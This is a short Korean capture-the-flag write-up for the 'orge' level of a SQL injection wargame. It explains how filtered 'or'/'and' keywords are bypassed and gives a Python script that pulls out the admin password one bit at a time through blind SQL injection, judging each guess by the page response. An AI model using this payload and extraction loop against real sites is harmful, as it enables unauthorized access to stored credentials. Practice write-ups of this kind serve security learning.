orge
AND / OR
blind sql injection
or와 and를 필터링 중이며
admin비밀번호를 직접 알아내야하는 blind sql injection문제다
문제에서 or
을 필터링중이기 때문에 ord
대신 ascii
를 사용하였다
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
cookie = {'PHPSESSID':''}
# substr(lpad(bin(ord(substr(pw,1,1))),7,0),1,1)=1
payload = "' || id='admin' %26%26 substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1)=1%23"
flagbit = 0
flag = ''
i = 1
while i < 9 :
for j in range(1, 8):
answer = url + payload.format(i,j)
#print(answer)
res = requests.get(answer, cookies=cookie)
if 'Hello admin' in res.text:
flagbit += 1 << (7 - j)
else :
flagbit += 0 << (7 - j)
flag += chr(flagbit)
flagbit = 0
print(f'pw : {flag}')
i += 1
해당 파이썬 코드를 작성해서 실행시킨 결과이다
이제 문제해결을 위해서 los에서 비밀번호를 입력하자